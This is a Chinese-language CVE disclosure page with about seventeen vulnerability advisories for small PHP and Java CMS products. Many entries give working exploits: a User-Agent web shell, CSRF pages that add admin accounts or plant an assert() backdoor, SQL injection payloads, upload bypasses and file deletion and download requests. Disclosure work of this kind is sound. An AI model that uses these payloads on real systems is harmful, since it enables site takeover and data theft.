CVE中文申请站

CVE-2019-9651:sdcms V1.7 远程代码执行

一、漏洞摘要

漏洞名称: sdcms V1.7 远程代码执行
上报日期: 2019-03-04
漏洞发现者: Yang.X
产品首页: https://www.sdcms.cn/
软件链接: https://www.sdcms.cn/down-109.html
版本: 1.7
CVE编号: CVE-2019-9651


二、漏洞概述

sdcms的代码中,对模板的编辑过滤不严,导致在后台更改的代码中可以绕过自身的过滤,添加php代码造成代码执行。

0x01审计发现:
后台可以对php文件进行编辑,故对其代码审计:
s1.png

0x01:定位到文件:
/app/admin/controller/themecontroller.php
一下代码就是,后台编辑模板文件的处理代码。
s2.png
s3.png
s4.png
这里主要看第一个if里面的。
可以看到
s5.png
这里对文件读取进行了处理,并且判断文件是否存在。
s6.png
继续往下走,可以看到 t1、t2参数,这些都是对传进来的参数进行处理。t2就是编辑的文件内容。可以看到这里有一个check_bad($text),函数对编辑的文件进行过滤处理。
s7.png
主要过滤了一些参数传递、还有读写文件以及危险函数。
s8.png
校验通过后,最后在判断文件是否是php,是的话,添加一段php代码在编辑的文件里面,这样就不能执行了,最后覆盖保存文件。
0x02:代码执行漏洞
s9.png
抓包可以看到,root为文件名称 解码就是default/top.php,t0同理也是,t2就是编辑后的文件。
这里进行绕过的方法就是 上述判断只判断了php,这里可以将后缀大写,即PHP
s10.png

即可绕过限制,至于最后的check_bad($text),找一个可以接受的参数即可:
<?php system($_SERVER['HTTP_USER_AGENT']); ?> 过滤函数较少,这里可以直接写一个,ua的shell。
s11.png

三、利用方法

登录后台
系统管理--》模板管理--》default--》编辑php文件
q1.png
q2.png
按照上述位置。编辑文件,并发送,抓包测试:
q3.png
验证:
q4.png

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/155/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9651
exploit-db:发布中

CVE-2019-9632:亿赛通电子文档安全管理系统V3&V5任意文件下载漏洞

一、漏洞摘要

漏洞名称: 亿赛通电子文档安全管理系统任意文件下载漏洞
上报日期: 2019-03-04
漏洞发现者: cugxuetao@gmail.com
产品首页: http://www.esafenet.com/%E7%94%B5%E5%AD%90%E6%96%87%E6%A1%A3%E5%AE%89%E5%85%A8
软件链接: http://www.esafenet.com/%E7%94%B5%E5%AD%90%E6%96%87%E6%A1%A3%E5%AE%89%E5%85%A8
版本: V3&V5
CVE编号: CVE-2019-9632


二、漏洞概述

亿赛通电子文档安全管理系统(简称:CDG)是一款电子文档安全防护软件,该系统利用驱动层透明加密技术,通过对电子文档的加密保护,防止内部员工泄密和外部人员非法窃取企业核心重要数据资产。
该软件通过B/S和C/S方式进行管理和使用,在WEB登陆页面处有客户端下载链接,该链接由于未对下载路径和文件名称做校验,导致在无需登陆的情况下进行任意文件下载。
该软件在成功部署后首页如下:
1.png
点击“进入”可跳转至登录页:
2.png
存在漏洞的地址为“下载客户端”的请求链接。

三、利用方法

点击“下载客户端”,然后利用burp suite抓包,抓包信息如下:

POST /CDGServer3/ClientAjax HTTP/1.1
Host: xxx.xxxxxx.com:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://xxx.xxxxxx.com:8443/CDGServer3/index.jsp
Content-Type: application/x-www-form-urlencoded
Content-Length: 73
Connection: close
Cookie: JSESSIONID=8C0B00D43DFB637C67B295EE8AF35BBD; JSESSIONID=77FBC0B80C13A50B127ED529649B1CFF
Upgrade-Insecure-Requests: 1

InstallationPack参数未对文件名称和路径做校验,导致存在任意文件下载漏洞,修改InstallationPack后的路径和文件名称,即可实现任意文件下载,如下载index.jsp和download.jsp。
阅读download.jsp可以发现path和fileName未做过滤导致存在任意文件下载漏洞。
3.png
该软件一般按照官方默认路径部署,可以此下载操作系统文件如Windows Server 2008的win.ini文件,如下图示:
4.png

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/132/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9632
exploit-db:发布中

CVE-2019-9566:FlarumChina-beta.7C前台SQL注入

一、漏洞摘要

漏洞名称: FlarumChina-beta.7C前台SQL注入
上报日期: 2019-03-03
漏洞发现者: admin-神风
产品首页: https://github.com/skywalker512/FlarumChina/
软件链接: https://github.com/skywalker512/FlarumChina/
版本: FlarumChina-beta.7C
CVE编号: CVE-2019-9566


二、漏洞概述

前台搜索框一处盲注
可以通过substr函数进行注入
lll.png

三、利用代码

可以使用sqlmap进行注入。
Exp:

http://localhost/?q=1%' and substr((select schema_name from information_schema.schemata limit 1,1),1,1)='f' --+


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/127/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9566
exploit-db:发布中
cxsecurity:https://cxsecurity.com/issue/WLB-2019010224
发现者blog:https://www.cnblogs.com/wh4am1/p/10257593.html

CVE-2019-9181:SchoolCMS v2.3.1后台任意文件上传漏洞

一、漏洞摘要

漏洞名称: SchoolCMS v2.3.1后台任意文件上传漏洞
上报日期: 2019-02-25
漏洞发现者: 鹦鹉
产品首页: http://www.schoolcms.org/
软件链接: http://www.schoolcms.org/
版本: v2.3.1
CVE编号: CVE-2019-9181


二、漏洞概述

SchoolCMS是一套基于ThinkPHP框架的开源学校教务管理系统。该系统包括学生管理、成绩管理和教师管理等。
SchoolCMS 2.3.1版本中存在任意文件上传漏洞,可在后台网站logo上传处通过自定义的Content-Type控制上传文件的后缀,最终getshell。

三、利用方法

找到漏洞触发点:站点设置 > 选择网站logo
上传小马
1.png
抓包修改Content-Type:image/php
2.png
3.png
上传成功,找到上传php文件的地址
4.png
php代码执行
5.png
将用于验证的phpinfo信息改为小马可getshell

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/125/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9181
exploit-db:发布中

CVE-2019-9182:zzzphp V1.6.1 后台csrf漏洞

一、漏洞摘要

漏洞名称: zzzphp V1.6.1 后台csrf漏洞
上报日期: 2019-02-22
漏洞发现者: Yang Chenglong
产品首页: http://www.zzzcms.com/index.html
软件链接: http://115.29.55.18/zzzphp.zip
版本: 1.6.1
CVE编号: CVE-2019-9182


二、漏洞概述

整站后台请求没有加上csrf token保护,所以可以伪造客户端请求。 配合后台代码执行漏洞(http://www.iwantacve.cn/index.php/archives/118/),即可getshell。

三、利用方法

将以下代码保存为html文件,放在网站上,将网址发给站长,在站长登陆的情况下,点击链接即可在search.html模版中插入恶意代码从而getshell。

<html>

  <!-- CSRF PoC - generated by Burp Suite Professional -->

  <body>

  <script>history.pushState('', '', '/')</script>

    <form action="http://192.168.1.64/zzzphp/admin015/save.php?act=editfile" method="POST">

      <input type="hidden" name="file" value="&#47;zzzphp&#47;template&#47;pc&#47;cn2016&#47;html&#47;search&#46;html" />

      <input type="hidden" name="filetext" value="&#123;if&#58;assert&#40;&#36;&#95;POST&#91;x&#93;&#41;&#125;phpinfo&#40;&#41;&#59;&#123;end&#32;if&#125;" />

      <input type="submit" value="Submit request" />

    </form>

    <script>

      document.forms[0].submit();

    </script>

  </body>

</html>


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/119/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9182
exploit-db:发布中

CVE-2019-9041:zzzphp V1.6.1 动态代码执行

一、漏洞摘要

漏洞名称: zzzphp V1.6.1 动态代码执行(dynamic code evaluation/ code injection)
上报日期: 2019-02-22
漏洞发现者: Yang Chenglong
产品首页: http://www.zzzcms.com/index.html
软件链接: http://115.29.55.18/zzzphp.zip
版本: 1.6.1
CVE编号: CVE-2019-9041


二、漏洞概述

Zzzphp cms的代码中,搜索页面对搜索模版的解析过滤不严,导致在后台更改的代码中可以带入php代码造成代码执行。
在/search/index.php中
第二行

require dirname(dirname(__FILE__)). '/inc/zzz_client.php';

跟踪到/inc/zzz_client.php中
第136行至140行

elseif($conf['runmode']==0|| $conf['runmode']==2 || $location=='search' ||$location=='form' ||$location=='screen' || $location=='app'){
        $zcontent = load_file($tplfile,$location);    
        $parser = new ParserTemplate();
        $zcontent = $parser->parserCommom($zcontent); // 解析模板
        echo $zcontent; 

继续跟踪到/inc/zzz_template.php中对ParserTemplate()的定义
第23行:

        $zcontent = $this->parserIfLabel( $zcontent ); // IF语句

接着跟踪到/inc/zzz_template.php中对parserIfLabel()的定义
第2192到2213行:

        $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
        if ( preg_match_all( $pattern, $zcontent, $matches ) ) {
                       $count = count( $matches[ 0 ] );
               for ( $i = 0; $i < $count; $i++ ) {
                       $flag = '';
                       $out_html = '';
                       $ifstr = $matches[ 1 ][ $i ];
                       $ifstr = str_replace( '<>', '!=', $ifstr );
                       $ifstr = str_replace( 'mod', '%', $ifstr );
                       $ifstr1 = cleft( $ifstr, 0, 1 );
                       switch ( $ifstr1 ) {
                               case '=':
                                       $ifstr = '0' . $ifstr;
                                       break;
                               case '{':
                               case '[':
                                       $ifstr = "'" . str_replace( "=", "'=", $ifstr );
                                       break;
                       }
                       $ifstr = str_replace( '=', '==', $ifstr );
                       $ifstr = str_replace( '===', '==', $ifstr );
                       @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
 

$ifstr经过一系列过滤最后进入eval函数,造成了代码执行。

三、利用方法

后台的模版管理 -> 电脑模版 -> cn2016(6) -> html -> search.html 编辑
在模版中添加{if:assert($_POST[x])}phpinfo();{end if} 保存
访问 http://webroot/search/
post数据: x = phpinfo(); 即可执行代码。
1.png

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/118/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9041
exploit-db:发布中

CVE-2019-9042:Sitemagic CMS v4.4后台未过滤直接上传php导致getshell

一、漏洞摘要

漏洞名称: Sitemagic CMS v4.4后台未过滤直接上传php导致getshell
上报日期: 2019-02-22
漏洞发现者: yc(3365487579@qq.com)
产品首页: https://sitemagic.org/
软件链接: https://sitemagic.org/Download.html(https://github.com/Jemt/SitemagicCMS)
版本: v4.4
CVE编号: CVE-2019-9042


二、漏洞概述

Sitemagic CMS v4.4后台未过滤直接上传php导致getshell。

三、利用方法

poc:
当我们登录进后台后,来到图片管理/index.php?SMExt=SMFiles
1.png
发现能直接上传成功php文件
2.png


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/116/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9042
exploit-db:发布中

CVE-2019-9040: S-CMS企业建站系统PHP版v3.0后台存在CSRF可添加管理员权限账号

一、漏洞摘要

漏洞名称: S-CMS企业建站系统PHP版v3.0后台存在CSRF可添加管理员权限账号
上报日期: 2019-02-22
漏洞发现者: qn(137535957@qq.cn)
产品首页: https://www.s-cms.cn
软件链接: https://www.s-cms.cn
版本: PHP v3.0
CVE编号: CVE-2019-9040


二、漏洞概述

恶意攻击者可以精心伪造一个html页面诱骗已登录的管理用户点击,从而更改管理员账户密码。

三、利用代码

exp代码如下:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/1.com.php/admin/ajax.php?type=admin&action=add&lang=0" method="POST">
      <input type="hidden" name="A&#95;login" value="test1" />
      <input type="hidden" name="A&#95;pwd" value="test1" />
      <input type="hidden" name="A&#95;type" value="1" />
      <input type="hidden" name="A&#95;a0" value="1" />
      <input type="hidden" name="A&#95;a1" value="1" />
      <input type="hidden" name="A&#95;a2" value="1" />
      <input type="hidden" name="A&#95;a3" value="1" />
      <input type="hidden" name="A&#95;a4" value="1" />
      <input type="hidden" name="A&#95;a5" value="1" />
      <input type="hidden" name="A&#95;a6" value="1" />
      <input type="hidden" name="A&#95;a8" value="1" />
      <input type="hidden" name="A&#95;a10" value="1" />
      <input type="hidden" name="A&#95;a7" value="1" />
      <input type="hidden" name="A&#95;a9" value="1" />
      <input type="hidden" name="A&#95;a11" value="1" />
      <input type="hidden" name="A&#95;textauth&#91;&#93;" value="all" />
      <input type="hidden" name="A&#95;productauth&#91;&#93;" value="all" />
      <input type="hidden" name="A&#95;bbsauth&#91;&#93;" value="all" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/113/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9040
exploit-db:发布中

CVE-2019-8954:indexhibit cms v2.1.5 直接编辑php文件getshell

一、漏洞摘要

漏洞名称: indexhibit cms v2.1.5 直接编辑php文件getshell
上报日期: 2019-02-20
漏洞发现者: yc(3365487579@qq.com)
产品首页: https://www.indexhibit.org/
软件链接: https://www.indexhibit.org/
版本: v2.1.5
CVE编号: CVE-2019-8954


二、漏洞概述

indexhibit CMS 2.1.5版本存在一个直接编辑php文件的漏洞,导致getshell。

三、利用方法

poc:
当我们登录进后台后,向/ndxzstudio/?a=system
post数据:
upd_jxcode=true&v=%253C%253Fphp%2520phpinfo()%253B%253F%253E&id=%2Fcss%2Faudio.php
即可在/css/目录写入一个php文件audio.php。
1.png

2.png


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/112/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8954
exploit-db:发布中

CVE-2019-6249:Hucart cms v5.7.4 CSRF漏洞可任意增加管理员账号

一、漏洞摘要

漏洞名称: Hucart cms v5.7.4 CSRF漏洞可任意增加管理员账号
上报日期: 2019-01-13
漏洞发现者: AllenChen(520allen@gmail.com)
产品首页: http://www.hucart.com/
软件链接: http://www.hucart.com/
版本: v5.7.4
CVE编号: CVE-2019-6249


二、漏洞概述

Hucart cms v5.7.4版本存在一个CSRF漏洞,当管理员登陆后访问下面CSRF测试页面可增加一个名为hack的管理员账号。

三、利用代码

exp代码如下:
增加一个名为hack密码为hack123的管理员账号。

<html><body>
<script type="text/javascript">
function post(url,fields)
{
var p = document.createElement("form");
p.action = url;
p.innerHTML = fields;
p.target = "_self";
p.method = "post";
document.body.appendChild(p);
p.submit();
}
function csrf_hack()
{
var fields;

fields += "<input type='hidden' name='adm_user' value='hack' />";
fields += "<input type='hidden' name='adm_email' value='admin@hack.com' />";  
fields += "<input type='hidden' name='adm_mobile' value='13888888888' />";  
fields += "<input type='hidden' name='adm_pwd' value='hack123' />";  
fields += "<input type='hidden' name='re_adm_pwd' value='hack123' />";  
fields += "<input type='hidden' name='adm_enabled' value='1' />";  
fields += "<input type='hidden' name='act_type' value='add' />";  
fields += "<input type='hidden' name='adm_id' value='' />";  

var url = "http://localhost/hucart_cn/adminsys/index.php?load=admins&act=edit_info&act_type=add";
post(url,fields);
}
window.onload = function() { csrf_hack();}
</script>
</body></html>


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/109/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6249
exploit-db:https://www.exploit-db.com/exploits/46149

CVE-2019-5488:ESPCMS企业网站管理系统P8存在SQL注入漏洞

一、漏洞摘要

漏洞名称: ESPCMS企业网站管理系统P8存在SQL注入漏洞
上报日期: 2019-01-04
漏洞发现者: Sins
产品首页: https://www.earclink.com/html/cn/espcms/
软件链接: https://www.earclink.com/html/cn/download_espcms/
版本: P8
CVE编号: CVE-2019-5488


二、漏洞概述

由于SQL语句的拼接不当,导致存在SQL注入,具体请看漏洞代码
/install_pack/espcms_public/espcms_db.php
205-363
1.png
跟踪代码,发现仅在输出处使用了addslashes函数进行转义,具体代码如下:
/install_pack/espcms_web/Member.php
437-439
2.png

三、利用代码

时间盲注,判定漏洞存在后,可以使用sqlmap进行注入。
Exp:

1.(select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/
2.(select(0)from(select(sleep(4)))v)/*'+(select(0)from(select(sleep(4)))v)+'"+(select(0)from(select(sleep(4)))v)+"*/

以下是sqlmap:

payload:ac=Member&at=verifyAccount&verifyType=0&verify_key=(SELECT (CASE WHEN (9456=9456) THEN 9456 ELSE 9456*(SELECT 9456 FROM INFORMATION_SCHEMA.PLUGINS) END))

3.png

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/108/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5488
exploit-db:发布中

CVE-2018-20519:74cms v4.2.111权限逻辑漏洞

一、漏洞摘要

漏洞名称: 74cms v4.2.111权限逻辑漏洞
上报日期: 2018-12-27
漏洞发现者: erpang
产品首页: http://www.74cms.com/
软件链接: http://www.74cms.com/download/load/id/534.html
版本: v4.2.111
CVE编号: CVE-2018-20519


二、漏洞概述

注册一个用户,创建简历,随后修改求职意向,可导致修改任意人员并泄露个人信息。
漏洞分析如下:
1.png
只对简历是否存在做检测并未对用户权限操作检查,C(‘visitor’)返回当前用户
2.png
通过方法D
3.png
调用resumemodel.class.php中save_resume方法,如下图所示:
4.png
其中更新简历调用的方法如下图所示:
5.png
跟进save方法,将当前数据对象,如下图所示:
6.png
首先会将$data中的数据进行过滤去除特殊符号,随后进入判断是否存在主键,根据主键更新数据,进入更新方法,如下图所示:
7.png
由于上述未对用户操作进行校验,通过update方法后,用户可将求职意向更改到任意用户(pid),通过update_user_info将更改后的数据更新到用户页面,达到访问和修改任意用户信息,任意用户信息通过$pid获得,如下图所示:
8.png

三、利用过程

实现步骤,第一步:创建一个账户
9.png
第二步:根据要求完善简历
10.png
第三步:点击修改求职意向
11.png
第四步:抓包修改pid的值
12.png
攻击后截图:
13.png
可以遍历pid的值获取所有用户的个人信息并可以下载个人简历(由于注册使用为手机号,更新时会将原来用户的手机号同样更新)

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/104/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20519
exploit-db:发布中

CVE-2018-20129:DedeCMS V5.7 SP2前台文件上传漏洞

一、漏洞摘要

漏洞名称: DedeCMS V5.7 SP2前台文件上传漏洞
上报日期: 2018-12-11
漏洞发现者: 陈灿华
产品首页: http://www.dedecms.com/
软件链接: http://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7-UTF8-SP2.tar.gz
版本: DedeCMS V5.7 SP2正式版
CVE编号: CVE-2018-20129


二、漏洞概述

下载最新版本的dedecms源码,在本地安装完成后,打开会员登录功能,然后登录会员中心,来到如下界面,即访问链接:http://192.168.174.129/dedecms/uploads/member/content_list.php?channelid=1

4

在点击编辑器中的图片:

再点击上传按钮:

选择一张图片马文件,再点击上传到服务器上,抓包:将1.jpg改为1.jpg.p*hp即可绕过限制成功上传

上传成功后的文件名和文件位置如下:

使用菜刀访问,直接getshell



三、利用代码

exp代码如下:

POST /dedecms/uploads/include/dialog/select_images_post.php?CKEditor=body&CKEditorFuncNum=2&langCode=zh-cn HTTP/1.1
Host: 192.168.174.129
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.174.129/dedecms/uploads/member/article_add.php
Content-Type: multipart/form-data; boundary=---------------------------69781754626668
Content-Length: 11741
Cookie: DedeUserID=1; DedeUserID__ckMd5=c7ed3d18d15d23d0; DedeLoginTime=1544372582; DedeLoginTime__ckMd5=35d444f1976a147b; PHPSESSID=c84e97f6e66b4fd99b30f1dad1e02854; last_vtime=1544372941; last_vtime__ckMd5=22714ecc90820efa; last_vid=admin; last_vid__ckMd5=5c4160178ad81aa0; ENV_GOBACK_URL=%2Fdedecms%2Fuploads%2Fmember%2Fcontent_list.php%3Fchannelid%3D1
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------69781754626668
Content-Disposition: form-data; name="upload"; filename="1.jpg.p*hp"
Content-Type: image/jpeg


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/88/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20129
exploit-db:发布中

CVE-2018-20128:UsualToolCMS v8.0后台任意文件删除

一、漏洞摘要

漏洞名称: UsualToolCMS v8.0后台任意文件删除
上报日期: 2018-12-08
漏洞发现者: Krypton
产品首页: https://cms.usualtool.com/
软件链接: https://cms.usualtool.com/
版本: 8.0
CVE编号: CVE-2018-20128


二、漏洞概述

漏洞位于cmsadmin\a_sqlback.php的第74-88行,咱们贴上代码来看。
2018-12-06.12.18.29-image.png
74行的if用来判断$_POST['t']的值是不是为del,如果不是,则进入82-83行的假区间,echo 一句无法删除。如果是del则进入真区间

进入真区间后,75行,将$_POST()函数接收到的$backname赋值给$backname

76行用count()函数将$backname的个数做了统计赋值给$backnamenum,

随后进入for循环将$backnamenum进行遍历并且获取他的每个文件名。然后赋值给$sqlback,之后进入79行的if判断,通过自己的一个函数去检查$sqlback,我们跟进这个函数

class/UsualToolCMS_INC.php138-142行是他的contain函数执行的操作。
2018-12-06.12.29.29-image.png
可以看到他是做的一个字符串分割且判断是否数量>1,满足则return true 否则return else ,

然后继续查看一下unlinkFile的函数,看一下他的代码是做了什么事情
2018-12-06.12.34.15-image.png
判断文件是否存在 ,存在则删除,且return true 否则return false

然后cmsadmin\a_sqlback.php的代码就全部跑完了,在审查的过程中,并没有对其文件名和目录做出限制,于是可以构造成一个任意文件删除漏洞

三、利用过程

来到数据库备份的地方
2018-12-06.12.39.44-image.png
然后burp抓包,得到数据包如下
2018-12-06.12.41.01-image.png
然后我们在本机网站存放的磁盘下新建一个文件1.txt ,将数据包的backname参数改为../../../../../1.txt 并且发包看结果。

发包前:
2018-12-06.12.43.34-image.png
发包后:
burp的回显:
2018-12-06.12.44.46-image.png
电脑的效果:
2018-12-06.12.45.10-image.png

OK,可以看到 ,成功的删除了我们的1.txt文件,于是乎,这个任意文件删除是ok的

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/90/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20128
exploit-db:发布中

CVE-2018-20127:zzzphp cms 1.5.8 后台文件任意删除

一、漏洞摘要

漏洞名称: zzzphp cms 1.5.8 后台文件任意删除
上报日期: 2018-12-08
漏洞发现者: Krypton
产品首页: http://zzzcms.com/
软件链接: http://115.29.55.18/zzzphp.zip
版本: 1.5.8 正式版
CVE编号: CVE-2018-20127


二、漏洞概述

漏洞入口位于/admin/save.php文件下的第22
2018-12-07.09.29.30-image.png
switch判断传来的act的参数值,然后通过不同的值 return到不同的方法,进行文件的操作。我们追踪这个方法(del_file($path))。
phpstorm下选中函数名按住CTRL+SHIFT+F可以快速定位;然后给我定位到了inc/zzz_file.php511行,通过这文件名,可以猜出他是一个专门用来处理文件的php文件。
2018-12-07.09.40.45-image.png

然后分析一下这个方法里的代码,看他实现了什么功能。
这是一个有参数的方法,形参是$file,然后进入if判断,如果这个参数是nullreturn false ,513行判断是否是一个常规的文件,如果是则真区间的结果$file赋值给$file,如果并不是,就以根目录.文件的形式赋值给$file参数

然后进入第二个if,还是判断了文件,如果是文件 则进入下面代码,用file_ext($file)方法去对$file参数做了一个处理并讲结果赋值给$ext变量。这里对这个进行定位,看看他是怎么进行操作的。然后来到了第114
2018-12-07.09.55.09-image.png
看他的注释,就差不多知道是干什么的了,就是判断文件不包含. ,应该是用来防止目录跳跃的,可是他没限制路径,照样是可以任意文件删除,这是后话,知道这个方法是干嘛的,然后继续回到515行,继续往下读代码

再往下走又进入了一个if判断,他将$ext变量丢到in_array()方法,从array数组中去比较,是否有指定的几个后缀,如果有,return false 。这里貌似是限制了几个文件名,但是可以用方法绕过的...... ,好 ,继续往下看代码

又来到一个if,已经是最后一个if了,也其实没啥看的了 ,执行的删除功能。

现在按照审计的思路 去复现一下。

三、利用过程

来到后台文件管理--数据库备份
2018-12-07.10.33.19-image.png

首先备份数据库,然后删除处抓包,发到重放模块,点击Go,
2018-12-07.10.35.10-image.png
从数据包可以看出,他是根据路径来的,,审计的时候,已经避免了路径穿越,但是可以通过更改路径去进行任意文件删除
然后再看下文件是否存在
2018-12-07.10.35.51-image.png
已经删除了,现在在本机网站所在磁盘根目录新建一个txt文件和php文件,进行删除演示
2018-12-07.10.38.36-image.png

删除txt:
2018-12-07.10.39.24-image.png
2018-12-07.10.39.35-image.png

删除php:
2018-12-07.10.40.31-image.png

2018-12-07.10.40.40-image.png

可以看到都是可以删除的,前面审计的时候,限制了php,可以用x.phP.的方式进行删除文件。


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/89/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20127
exploit-db:发布中

CVE-2018-19562:PHPok 4.9.015存在任意文件上传漏洞

一、漏洞摘要

漏洞名称: PHPok 4.9.015存在任意文件上传漏洞
上报日期: 2018-11-25
漏洞发现者: F0rmat
产品首页: https://www.phpok.com/
软件链接: https://www.phpok.com/24489.html
版本: 4.9.015
CVE编号: CVE-2018-19562


二、漏洞概述

该漏洞存在于“登录后台>程序升级->压缩包升级”
1.png
编辑一个测试文件phpinfo.php,压缩为phpinfo.zip上传。
2.png
把shell生成在主目录下面
3.png

三、利用代码

exp代码如下:
解压文件操作如下。

GET /admin.php?c=update&f=unzip&zipfile=_cache%2F8c9ae663e9d6ce4f.zip&_=1533515826187 HTTP/1.1
Host: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
request_type: ajax
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Referer: http://127.0.0.1/admin.php?c=update&f=zip
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: hd_sid=aZY7Qf; hd_auth=f0c7B2JXp7hhumOhqeqELbZ5FJA3C%2FW2AKt4di3duYf1l5T%2BbkCMPFkWus2WrHfUg2Z8np8oM4VygPGWolgu; PHPSESSION=h4l9gblfbhu85v6sl543egc5d1
Connection: close


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/87/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19562
exploit-db:发布中

CVE-2018-19468:Hucart cms v5.7.4 SQL注入漏洞

一、漏洞摘要

漏洞名称: Hucart cms v5.7.4 SQL注入漏洞
上报日期: 2018-11-20
漏洞发现者: zzzzzzzz
产品首页: http://www.hucart.com/
软件链接: http://www.hucart.com/
版本: v5.7.4
CVE编号: CVE-2018-19468


二、漏洞概述

Hucart cms v5.7.4未对HTTP头部数据进行安全过滤,产生SQL注入漏洞。
文件system/class/helper_class.php第4-38行代码如下:
1.png
2.png
方法get_ip未对HTTP_X_FORWARDED_FOR等头内部的数据进行校验,并将其中的值作为IP地址直接返回,代码多处功能均调用此方法获取IP地址插入数据库,故产生多处SQL注入漏洞,其中一处如下:
文件application/user/login.php使用act_login方法处理普通用户登陆请求,如登陆成功,则对数据库进行更新,其具体实现位于81-101行,如下图:
3.png
代码于第83行调用get_ip方法获取IP地址$user_ip并于99行拼接入SQL语句中执行,故攻击者可在HTTP_X_FORWARDED_FOR等头内部插入攻击向量,发动SQL注入攻击。

三、利用代码

exp代码如下:
在HTTP_X_FORWARDED_FOR中插入SQL注入攻击向量即可,例如对于普通用户登陆界面处的注入漏洞,其请求如下:
攻击者即可通过注入漏洞修改任意用户密码,也可发动其他类型的SQL注入攻击。

POST /user/index.php?load=login&act=act_login HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/user/index.php?load=login&act=act
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
Cookie: csrftoken=o2JPu6uSjJAMj0bgh2AB90bgd4igPjzCtfvrhP6jTFKpy87BxZfZIb31OqfJutMz; PHPSESSID=btl6d5bko1cd6voo5nshln498g; ck_num=a600bd172fcabd688500dac58ebda3a0
Connection: close
Upgrade-Insecure-Requests: 1
X-Forwarded-For: attack', use_pwd=md5('attack') Where use_name='test1' #

use_name=test&use_pwd=123456&use_captcha=asdasdd&submit=


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/83/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19468
exploit-db:发布中

CVE-2018-19083:WeCenter3.2.0-3.2.2储存型XSS

一、漏洞摘要

漏洞名称: WeCenter3.2.0-3.2.2储存型XSS
上报日期: 2018-11-02
漏洞发现者: Smi1e
产品首页: http://wenda.wecenter.com/
软件链接: http://wenda.wecenter.com/
版本: 3.2.0-3.2.2
CVE编号: CVE-2018-19083


二、漏洞概述

漏洞存在于WeCenter3.2.0/views/default/question/index.tpl.html中的第644,645,664,665行。
1.png
用户发布的问题标题经过htmlspecialchars_decode函数输出到了JS里,此处应该用htmlspecialchars() ,导致XSS漏洞。
2.png
